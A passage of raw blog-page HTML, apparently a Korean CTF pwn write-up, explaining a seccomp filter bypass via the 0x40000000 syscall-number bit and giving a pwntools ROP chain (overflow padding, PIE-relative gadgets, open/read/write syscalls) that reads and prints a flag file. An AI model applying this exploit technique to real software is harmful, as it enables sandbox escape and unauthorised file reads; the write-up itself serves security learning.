style=\"position:relative;\"><a href=\"#seccomp_filter_mode-%EC%9A%B0%ED%9A%8C\" aria-label=\"seccomp_filter_mode 우회 permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>seccomp_filter_mode 우회</h2>\n<ul>\n<li>NX가 켜져있고 Full Relro라 GOT overwrite가 안되기 때문에 ROP를 하여 특정 행위를 해야 한다. 하지만 중요한 사실은 앞에서 언급한 SECCOMP_FILTER가 걸려 있기 때문에 open, execve.. system call을 사용할 수 없다.</li>\n</ul>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 662px; \"\n    >\n      <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 76.66666666666666%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAIAAABr+ngCAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB50lEQVQoz32SyW7jMBBE9SuxLFuiJLK5k5K4aPEmj7L5MIf5//8YeJwEgyQO8FCoA4vVaDJxfAnQRXbo5TLIxfOTJ6HvLtH/7mlfIp0htUEqQ3Lzbj5IQB6kbS1VulYUOgFec+dBOiIbIjihrKYUBDMdZVIJnqF6XVQ3Esb3pMQ1N0Q1IBrMTIrwqsBpcdX1P7MucIbI+mpu+kbC+GNrjm3z5N0lhldlh00J/5/4gYTwIwYNtKdsZGLA1GFm07z+aLsquhOucQRmCEQmI5GNspFRI2zQbRTWM92pxtdU3a77HC7xgKkkEIAH4I7Lnqso27Cp6CqvM0Ru3BkbRq29NrMxk+8Owc/9cLJdL3Qnja9Aftv5Fs6qANrW3HRgfvH2zNtnExa3f+3POxlQxVKEs3thxw8aFKWRi52QE+NhW8K2ZnnNshK2BU631cOd8oTSyXEbzBDMPE2Xw7hM43mM+2k6nc4v8zT3fiJwZ2EcTw1WQQ7n+Hjs5pNbds3eYR1EN9pxsMOuGQOxD3n9dfjEwD5ab210phuatreN48IL09ro2gGwRDlUBU2vf+szSSP2AGz99iQ4LykCuqmqVV6kCK2KYpUXD3me5sVXEiL/ELYAewb2RPkLFxfdXoiYt9WY11PxTv4dfwHk6q6HmO05iAAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <img\n        class=\"gatsby-resp-image-image\"\n        alt=\"./15.png\"\n        title=\"./15.png\"\n        src=\"/static/4fdd14a66a089020e2eee81d4a03a1e6/be86f/15.png\"\n        srcset=\"/static/4fdd14a66a089020e2eee81d4a03a1e6/e9ff0/15.png 180w,\n/static/4fdd14a66a089020e2eee81d4a03a1e6/f21e7/15.png 360w,\n/static/4fdd14a66a089020e2eee81d4a03a1e6/be86f/15.png 662w\"\n        sizes=\"(max-width: 662px) 100vw, 662px\"\n        style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n        loading=\"lazy\"\n        decoding=\"async\"\n      />\n    </span></p>\n<p>do_syscall_64</p>\n<ul>\n<li>syscall num을 나태는 <code class=\"language-text\">unsigned long</code> 타입의 <code class=\"language-text\">nr</code> 변수가 <code class=\"language-text\">sys_call_table</code> 배열의 인덱스로 사용되며 <code class=\"language-text\">nr &amp; 0x40000000</code> 조건 부분을 만족하여 0이 아니라면 <code class=\"language-text\">nr &amp; ~0x40000000</code> 에서 nr 값의 31 번째 비트를 0으로 만들게 된다.</li>\n</ul>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 720px; \"\n    >\n      <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 34.44444444444444%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAAAsTAAALEwEAmpwYAAACAklEQVQoz0XF20+SYQDA4e8vc5k5YKloM7WRWTeCpjlpYshyQwubwIWYZpIrzOxgHDwg+qHJZ2oXSTYECSSU1mY22zy0Dqu9v6Y3XTx7pLJgx596pY/mZbdoXhnkmHHFjSHSi07uRq+4KHphQzPkRP3AgeqEHbXbSfGYDX2kh4qQTdQu9HBh9s5f6arSx/fDI/EplSUVS7AZT7K9scnu/h5jcYUPu0kKG/zUlGW5VpehuT5LS1OW+uoc2hs+9n5+oScaIJZLi96oH0knd4vR+Dyja7IYXp3G8zbISHQGz/osN5c83HvvQ+XoR2vyUWH1Umn1UdXpo9wSoLi3n8epGZoiA6IvGsCo3BfS2cl28vwt5E+YKZhqo2DKwunJNvL8JgrH28gPmNHOWSiab0Ujt6KeNaGeMaEJmygJW8jztqCasHAq0HqyVB22i/H0MoHEoni+NseztTATMQV/6jUdb54wnJxG3T1IqTFIVfsUOmuQix1BqswhSlyDvMwucH3RLUbWZcxLQ0KqU+5yeHAgtlMfSceTpBJJvqVzHB3s8zT2ivhOgjMNXmrOZWg0pGkyZDA2ZjDotigxe/n6Ywfnqo/c5y0x8G4cqTRo/XUl7ES/4BL6iItjtREXl2QHlaEuLs85KBrrROPpQvXIhurhf8XeTmrCdsqnb4lq2c750O3f/wDC9okzbA4jBwAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <img\n        class=\"gatsby-resp-image-image\"\n        alt=\"./16.png\"\n        title=\"./16.png\"\n        src=\"/static/b4a084b1651f495c0e3a253747b8fbf3/37523/16.png\"\n        srcset=\"/static/b4a084b1651f495c0e3a253747b8fbf3/e9ff0/16.png 180w,\n/static/b4a084b1651f495c0e3a253747b8fbf3/f21e7/16.png 360w,\n/static/b4a084b1651f495c0e3a253747b8fbf3/37523/16.png 720w,\n/static/b4a084b1651f495c0e3a253747b8fbf3/d0cc0/16.png 732w\"\n        sizes=\"(max-width: 720px) 100vw, 720px\"\n        style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n        loading=\"lazy\"\n        decoding=\"async\"\n      />\n    </span></p>\n<p>bit</p>\n<ul>\n<li>seccomp_filter에서는 system call num의 예외를 검증하지 않기 때문에 <code class=\"language-text\">0x40000000|systemcall num</code> or 연산을 하여 원한는 시스템 콜 번호를 삽입하여 우회를 할 수 있다.</li>\n</ul>\n<h2 id=\"64bit-rop-1\" style=\"position:relative;\"><a href=\"#64bit-rop-1\" aria-label=\"64bit rop 1 permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>64bit ROP</h2>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 720px; \"\n    >\n      <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 50%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAACyklEQVQoz22OyWsTcRzFf5mig3+CtWnizGRfm2VmktmSSaZJ27SZNNrETKzaFrRCPHgRN0RBKBSxUEGKCyJiMhFsanuwUQ96ED14EMGLeNLxqrkoaONX0oMH8fDhPT7v8pBaWIXDMxtQrqzB1NQDKBXrsL/YgAn1AQjS1WYgQvIhOqXScZXv21HF0qMjGB3PYXxCxTgpjzFcDouLeYzlxzBPII2hnHq6VdLOrxVLZ1opZb6VT8y2RlJHW8OjJ1rpTG09O3ZyPZ2tPZOVY6fK2jzyh0VEc8NIkMcRn8whls8iTsqhmJBFbr+EUGHy8bfpQ+1O+cBmR6u2O5Xpp50D2pNOz1W0dqd6sP11srj5IzNy6ywrpLiYWM0y/JQiylVFSGpKTCgP8wlNiYultG9ITaP8vtl6uTpX31+ZaUjJMX2clXWFH9blTEGXUhO9bEjpvJ7K7GuKstqMSzmd5Uf1QCSp+8OJpjco6v5QoukLSQ8dHukh0rT3j2q1jy/y+Q8TCCG0fA52Pa0Drl4DfH4R8KUFwK+vAH7/LuArNwC/dBHwO7cBP3Ec8AvnYOfCFcDfvQUsPaIglz+CUFKZAzlzBES5+N0TZD75QtwXb5gzJmjRkGnR6HXfUNwIRATDHWAMl582/GHO8ARZwx1gP3mG2K+egLDhd33u80aRCUVj0laYpX+FWRb2WCkYJO2wh7BBwe0D3uGG3YQNBgk7mAkbmAn79v43tzsFFsr35nUbTI2bgBDDZX7TfAIiMeG3mXB0LZSrO0A6u2VfsCu5fN1+0tm1Uq5tb6Gc/+D6aaEcYLUFXz5pgmnpMiAUZhMQ5XiIsHEY2EuChbTBAGmDgscLvNMF/b0HpA0G/8/WIEmBlfK+er4KpuUFQIjlJyEmjgPDjYHVFgXCwYDFTkMlIILs4cBsp4G0M0DY6f/AbBH2KJBO4dX6PTAtXgT0B08nNLlIKuGKAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <img\n        class=\"gatsby-resp-image-image\"\n        alt=\"./17.png\"\n        title=\"./17.png\"\n        src=\"/static/757e68f465c40d8cc71ded460c601722/37523/17.png\"\n        srcset=\"/static/757e68f465c40d8cc71ded460c601722/e9ff0/17.png 180w,\n/static/757e68f465c40d8cc71ded460c601722/f21e7/17.png 360w,\n/static/757e68f465c40d8cc71ded460c601722/37523/17.png 720w,\n/static/757e68f465c40d8cc71ded460c601722/1e088/17.png 840w\"\n        sizes=\"(max-width: 720px) 100vw, 720px\"\n        style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n        loading=\"lazy\"\n        decoding=\"async\"\n      />\n    </span></p>\n<p>ROP Gadget</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 720px; \"\n    >\n      <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 64.44444444444444%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAAAsTAAALEwEAmpwYAAAD10lEQVQ4y32QW0xbdRzHf9EZY2KiTyby4EDc5nCBDXZkzjkcDmOcmyHsbDg1C75s4qZRNPNhwoBwdcIWYFHgcMlgpYxLaWm59HRcSrlYGPdyaaGH0pbwL1BhEIpw9jXy5JPf5JtvPvm8fSns0KG3gsKOh3fUnyPgAuUaXqRXsolO3iaC91P6sphobxaRXzpRVi2RdepN2ptEFPz78+SXRDQ5HkClBqKXE4hC6/OIQqrzWyPr0rtj9Pf0MfoC8ZQmRzxc+6t4vC5ZjG7NF0+qUsXQ2kwxrDZdjFRniGea7ohv194SQ+tyRa4mWTzTlCtGNWbrw2pS2o+ohAf0iV6JRqsRmskuNFjaUDpmQNrjZmjt3Wiy9UI704X8UREFoyJapV6op7qgmulColmHGpsROlsPtDYTlNZORGgrQZ916rbXN3xPXYsMbtcCRhYWoJidwr+RXG5gB+hYcGJgyQPZt42ZOceuK7QMY2PnKRYWPfB6V+Hx/Y1IXdUWHUm98fG5jFtx1zv1x34eMR/9vE3Hhavuc1fbWrjvzSbuutHAndIouLO6Gu47Uxt3Y7CP+0rUcuENFdylFjX3o9nEJfQZj8Y01YcHq8oOUHBuYvzB9PjEkKq02JDarPMHq7P4fQ9z+ABFIh+kTONfVyTybyiz+UBlBh+oSOL3KZJ5f0Uif+DhXd5fkczvr0rhAx8knQ+oSo0NUZWcphO6Mtz8sxLp/TVIMyvxrbEcF/TF+KGrGJmP6/GTqQSXHxXjsqEIN3vvI6W/Gtc6CsHrSxDfUYjU/mr80leJK+2FOKYpA33RqcX66l9wuOax4HLCurQI9Zx19yen2wVsb8PscWNkhQFbPkgOaddVWkexJe+AsUWser14sr2FqGYlKEpTWaSyDFeJdmuJ0WEXKqZHhYReg2ByO4Qm24TQ43YIGYPdwr3xAcHklATdtEVod0nCN6ZWoVGyCvrZaaFNshVX2yzl72gqsmk/dziUgvxPENELRPQMEe2hl17ds7v/V7/X/svPEtFz1zqqicLq/5i/qM9b+tpYzq4aS1l0SwF7t+EOO6vLZlc6y1h0828sQp3D3lffZrH6uyyuvYh9pMlk76nz2IeaTBbXXsguiQXstDprJayhxEL8o3oMOy3omR1Cr3UArbODKJnqw9SKHWZpFBMeGxrsQ9BIw5j02NAzM4jx5VnkjXZhyGPDgGMMQ64JDDArPmhSgKINKp+NMUy4XLLV6ZKN85JcYBmUvZs+eWx+Xl5Z35BrZqflVuecvLT2RB6RJJltbspZQ32yfW1Nnna7ZYkxeXxlGRFaxfI/LjmP1Aox0UIAAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <img\n        class=\"gatsby-resp-image-image\"\n        alt=\"./18.png\"\n        title=\"./18.png\"\n        src=\"/static/f4f80259b2a16c721a5a779d7f610697/37523/18.png\"\n        srcset=\"/static/f4f80259b2a16c721a5a779d7f610697/e9ff0/18.png 180w,\n/static/f4f80259b2a16c721a5a779d7f610697/f21e7/18.png 360w,\n/static/f4f80259b2a16c721a5a779d7f610697/37523/18.png 720w,\n/static/f4f80259b2a16c721a5a779d7f610697/798d4/18.png 976w\"\n        sizes=\"(max-width: 720px) 100vw, 720px\"\n        style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n        loading=\"lazy\"\n        decoding=\"async\"\n      />\n    </span></p>\n<p>syscall</p>\n<ul>\n<li>syscall을 할 read, open, write 의 인자는 총 3, 2개 이기 때문에 rdi, rsi, rdx 레지스터가 필요하다.</li>\n<li>해당 부분에서 구할 수 있는 가젯은 위 사진과 같으며 필요없는 레지스터는 아무 값이나 넣어주면되겠다.</li>\n</ul>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\">pop_rdx <span class=\"token operator\">=</span> <span class=\"token number\">0xc1d</span> <span class=\"token operator\">+</span> pie_base\npop_rax_rdi_rsi <span class=\"token operator\">=</span> <span class=\"token number\">0xc21</span> <span class=\"token operator\">+</span> pie_base\nsyscall<span class=\"token operator\">=</span> <span class=\"token number\">0xc45</span> <span class=\"token operator\">+</span> pie_base\n\nROP <span class=\"token operator\">=</span> p8<span class=\"token punctuation\">(</span><span class=\"token number\">0x41</span><span class=\"token punctuation\">)</span><span class=\"token operator\">*</span><span class=\"token number\">168</span>\n\n<span class=\"token comment\"># read(0, bss, len(flag));</span>\nROP <span class=\"token operator\">+=</span> p64<span class=\"token punctuation\">(</span>pop_rax_rdi_rsi<span class=\"token punctuation\">)</span>\nROP <span class=\"token operator\">+=</span> p64<span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">)</span>  \t\t\t\t\t\t\t\nROP <span class=\"token operator\">+=</span> p64<span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">)</span>           \t\t\t\t\nROP <span class=\"token operator\">+=</span> p64<span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\t\t\t\t\t\t\t\nROP <span class=\"token operator\">+=</span> p64<span class=\"token punctuation\">(</span>pop_rdx<span class=\"token punctuation\">)</span>\t\t\nROP <span class=\"token operator\">+=</span> p64<span class=\"token punctuation\">(</span><span class=\"token builtin\">len</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"/home/ctf/flag\\x00\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\nROP <span class=\"token operator\">+=</span> p64<span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\nROP <span class=\"token operator\">+=</span> p64<span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\nROP <span class=\"token operator\">+=</span> p64<span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\t\t\t\t\t\t\t\nROP <span class=\"token operator\">+=</span> p64<span class=\"token punctuation\">(</span>pie_base <span class=\"token operator\">+</span> e<span class=\"token punctuation\">.</span>bss<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>     \t\t\nROP <span class=\"token operator\">+=</span> p64<span class=\"token punctuation\">(</span>syscall<span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\"># open(bss, 0, 0)</span>\nROP <span class=\"token operator\">+=</span> p64<span class=\"token punctuation\">(</span>pop_rax_rdi_rsi<span class=\"token punctuation\">)</span>\nROP <span class=\"token operator\">+=</span> p64<span class=\"token punctuation\">(</span><span class=\"token number\">0x40000002</span><span class=\"token punctuation\">)</span>  \t\t\t\t\nROP <span class=\"token operator\">+=</span> p64<span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">)</span>           \t\t\t\t\nROP <span class=\"token operator\">+=</span> p64<span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\t\t\t\t\t\t\t\nROP <span class=\"token operator\">+=</span> p64<span class=\"token punctuation\">(</span>pop_rdx<span class=\"token punctuation\">)</span>\t\t\nROP <span class=\"token operator\">+=</span> p64<span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\nROP <span class=\"token operator\">+=</span> p64<span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\nROP <span class=\"token operator\">+=</span> p64<span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\nROP <span class=\"token operator\">+=</span> p64<span class=\"token punctuation\">(</span>pie_base <span class=\"token operator\">+</span> e<span class=\"token punctuation\">.</span>bss<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\t\t\t\nROP <span class=\"token operator\">+=</span> p64<span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">)</span>     \nROP <span class=\"token operator\">+=</span> p64<span class=\"token punctuation\">(</span>syscall<span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\"># read(3, bss, 0x64)</span>\nROP <span class=\"token operator\">+=</span> p64<span class=\"token punctuation\">(</span>pop_rax_rdi_rsi<span class=\"token punctuation\">)</span>\nROP <span class=\"token operator\">+=</span> p64<span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">)</span>  \t\t\t\nROP <span class=\"token operator\">+=</span> p64<span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">)</span>           \nROP <span class=\"token operator\">+=</span> p64<span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\t\t\t\nROP <span class=\"token operator\">+=</span> p64<span class=\"token punctuation\">(</span>pop_rdx<span class=\"token punctuation\">)</span>\t\t\nROP <span class=\"token operator\">+=</span> p64<span class=\"token punctuation\">(</span><span class=\"token number\">0x64</span><span class=\"token punctuation\">)</span>\nROP <span class=\"token operator\">+=</span> p64<span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\nROP <span class=\"token operator\">+=</span> p64<span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\nROP <span class=\"token operator\">+=</span> p64<span class=\"token punctuation\">(</span><span class=\"token number\">3</span><span class=\"token punctuation\">)</span>     \t\t\nROP <span class=\"token operator\">+=</span> p64<span class=\"token punctuation\">(</span>pie_base <span class=\"token operator\">+</span> e<span class=\"token punctuation\">.</span>bss<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\nROP <span class=\"token operator\">+=</span> p64<span class=\"token punctuation\">(</span>syscall<span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\"># write(1, bss, 0x64)</span>\nROP <span class=\"token operator\">+=</span> p64<span class=\"token punctuation\">(</span>pop_rax_rdi_rsi<span class=\"token punctuation\">)</span>\nROP <span class=\"token operator\">+=</span> p64<span class=\"token punctuation\">(</span><span class=\"token number\">1</span><span class=\"token punctuation\">)</span>  \t\t\t\t\nROP <span class=\"token operator\">+=</span> p64<span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">)</span>           \t\nROP <span class=\"token operator\">+=</span> p64<span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\t\t\t\t\nROP <span class=\"token operator\">+=</span> p64<span class=\"token punctuation\">(</span>pop_rdx<span class=\"token punctuation\">)</span>\t\t\nROP <span class=\"token operator\">+=</span> p64<span class=\"token punctuation\">(</span><span class=\"token number\">0x64</span><span class=\"token punctuation\">)</span>\nROP <span class=\"token operator\">+=</span> p64<span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\nROP <span class=\"token operator\">+=</span> p64<span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\nROP <span class=\"token operator\">+=</span> p64<span class=\"token punctuation\">(</span><span class=\"token number\">1</span><span class=\"token punctuation\">)</span>     \t\t\t\t\t\t\nROP <span class=\"token operator\">+=</span> p64<span class=\"token punctuation\">(</span>pie_base <span class=\"token operator\">+</span> e<span class=\"token punctuation\">.</span>bss<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\t\t\t\nROP <span class=\"token operator\">+=</span> p64<span class=\"token punctuation\">(</span>syscall<span class=\"token punctuation\">)</span>\n\n<span class=\"token keyword\">print</span> p<span class=\"token punctuation\">.</span>sendlineafter<span class=\"token punctuation\">(</span><span class=\"token string\">\":\"</span><span class=\"token punctuation\">,</span> ROP<span class=\"token punctuation\">)</span> \n<span class=\"token keyword\">print</span> p<span class=\"token punctuation\">.</span>send<span class=\"token punctuation\">(</span><span class=\"token string\">\"/home/ctf/flag\\x00\"</span><span class=\"token punctuation\">)</span>\n\np<span class=\"token punctuation\">.</span>interactive<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span></code></pre></div>\n<ol>\n<li>가젯 주소 구하기\n<ul>\n<li>PIE 가 걸려 있기 때문에 앞에서 구한 PIE base 주로랑 더해 실제 주소로 바꿔준다.</li>\n</ul>\n</li>\n<li>스택 오버 플로우\n<ul>\n<li>ROP Gadget 주소로 이동하기 위해 168 바이트에 위치하는 리턴 주소까지 더미 값을 채워준다.</li>\n</ul>\n</li>\n<li>flag 파일 경로 입력 받기\n<ul>\n<li>우리는 open 함수를 우회하여 사용이 가능하기 때문에</li>\n<li>flag 파일의 경로가 필요하다 open 함수로 받기에는 길이 값이 크기 때문에 직접 read 함수를 사용하여 입력 받을 수 있도록 한다.</li>\n<li>중요한 점은 bss 영역에 write 권한이 존재하기 때문에 해당 부분에 입력한다.</li>\n</ul>\n</li>\n<li>flag 파일 open\n<ul>\n<li>seccomp filter를 우회하기 위해 syscall num을 0x40000000가 or 연산한 값을 보낸다.</li>\n<li>그리고 bss 영역의 첫 번째 주소에 해당하는 값을 읽어 오면 된다.</li>\n</ul>\n</li>\n<li>flag값 읽어오기\n<ul>\n<li>open 함수의 반환 값인 default 다음 fd인 3 번째를 사용하여 정보를 읽어와 bss 영역에 저장한다.</li>\n</ul>\n</li>\n<li>출력하기\n<ul>\n<li>stdout fd사용하여 bss 영역에 존재하는 flag 값을 출력한다.</li>\n</ul>\n</li>\n</ol>\n<h2 id=\"flag\" style=\"position:relative;\"><a href=\"#flag\" aria-label=\"flag permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>flag</h2>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 720px; \"\n    >\n      <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 53.888888888888886%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACBklEQVQoz4WN3WvTUBiH83eMJWmSc5KTpE1zmjQ5J2naNGlT56Rba2ftqlv9WK0VnEPFCb0Y6sCbgTDEKz9ggtdeCEUQtgt3L7gr/WOknSuIgvDw8HsvHl6GVoekNvBqA7c2zJe6TjKg8TpJ+na45sY9J+p5yc00aev5hka7UC8DxQcoAMiT1Zihj75mN95Y11/Z9z7at9/b20e4/46MjvHggIyOne0je/jBeXyY67+mz07U83fm2TkOIE6SUjDD5Ecn+OFhZuMAb431a2+tJz/NzXFu9C2/8928+wlvfXae/jDvf4GVW8bmWEgTXpR5qPFAEWTMGKv76cvPjdW97Nq+0d7Nrr/U6g/0Ky/U5g4sXZWjG3pnT1vZBV4Thj2O56Yl4oEsyCZDSJizTFmRAZAQUpCqaLrO8yzLsZwgcoLAcvMsx/KCxAkiD9VpeRaHScsLY1HJ6NjRsSMhgxURD/XJB6hOPduz8iz2w3plYZEUoqCcBFGiGpiTlBRU/4ciypjxShdIoYQdX83gFEQSSrOiPMdL8wI8hRXlfwF4YDBRrRVWz7mFchDVivEEWozdoGzTInb8nOsblvsXJGM5pl1iFpe79WZzqdVuXGovr0zcaHea7c5CfSmIKkFctYhnETqx6812jhCLRgz1L4qKCxAFKp0YUQmR3+cUqPlQ8+U/gRpV0vEv2QGbX0Ku4oEAAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <img\n        class=\"gatsby-resp-image-image\"\n        alt=\"./19.png\"\n        title=\"./19.png\"\n        src=\"/static/040392dffc9a41955ea159da1a4d82c4/37523/19.png\"\n        srcset=\"/static/040392dffc9a41955ea159da1a4d82c4/e9ff0/19.png 180w,\n/static/040392dffc9a41955ea159da1a4d82c4/f21e7/19.png 360w,\n/static/040392dffc9a41955ea159da1a4d82c4/37523/19.png 720w,\n/static/040392dffc9a41955ea159da1a4d82c4/f0551/19.png 862w\"\n        sizes=\"(max-width: 720px) 100vw, 720px\"\n        style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n        loading=\"lazy\"\n        decoding=\"async\"\n      />\n    </span></p>\n<ul>\n<li>flag를 획득할 수 있다.</li>\n</ul>\n<div class=\"table-of-contents\">\n<ul>\n<li>\n<p><a href=\"#%EB%B0%94%EC%9D%B4%EB%84%88%EB%A6%AC-%EA%B0%9C%EC%9A%94\">바이너리 개요</a></p>\n<ul>\n<li><a href=\"#%EB%B3%B4%ED%98%B8%EA%B8%B0%EB%B2%95\">보호기법</a></li>\n<li><a href=\"#%EB%B0%94%EC%9D%B4%EB%84%88%EB%A6%AC-%EC%A0%95%EB%B3%B4\">바이너리 정보</a></li>\n</ul>\n</li>\n<li>\n<p><a href=\"#%EB%B0%94%EC%9D%B4%EB%84%88%EB%A6%AC-%EB%B6%84%EC%84%9D\">바이너리 분석</a></p>\n</li>\n<li>\n<p><a href=\"#seccomp_mode_filter-list\">SECCOMP_MODE_FILTER LIST</a></p>\n</li>\n<li>\n<p><a href=\"#main-%ED%95%A8%EC%88%98-%EB%B6%84%EC%84%9D\">main 함수 분석</a></p>\n</li>\n<li>\n<p><a href=\"#sub_91e-%ED%95%A8%EC%88%98-%EB%B6%84%EC%84%9D\">sub_91E 함수 분석</a></p>\n</li>\n<li>\n<p><a href=\"#integer-issue\">Integer Issue</a></p>\n</li>\n<li>\n<p><a href=\"#%EB%A9%94%EB%AA%A8%EB%A6%AC-%EC%A3%BC%EC%86%8C-%EB%85%B8%EC%B6%9C-%EC%8A%A4%ED%83%9D-%EB%B2%84%ED%8D%BC-%EC%98%A4%EB%B2%84%ED%94%8C%EB%9F%AC%EC%9A%B0\">메모리 주소 노출, 스택 버퍼 오버플러우</a></p>\n</li>\n<li>\n<p><a href=\"#64bit-rop\">64bit ROP</a></p>\n</li>\n<li>\n<p><a 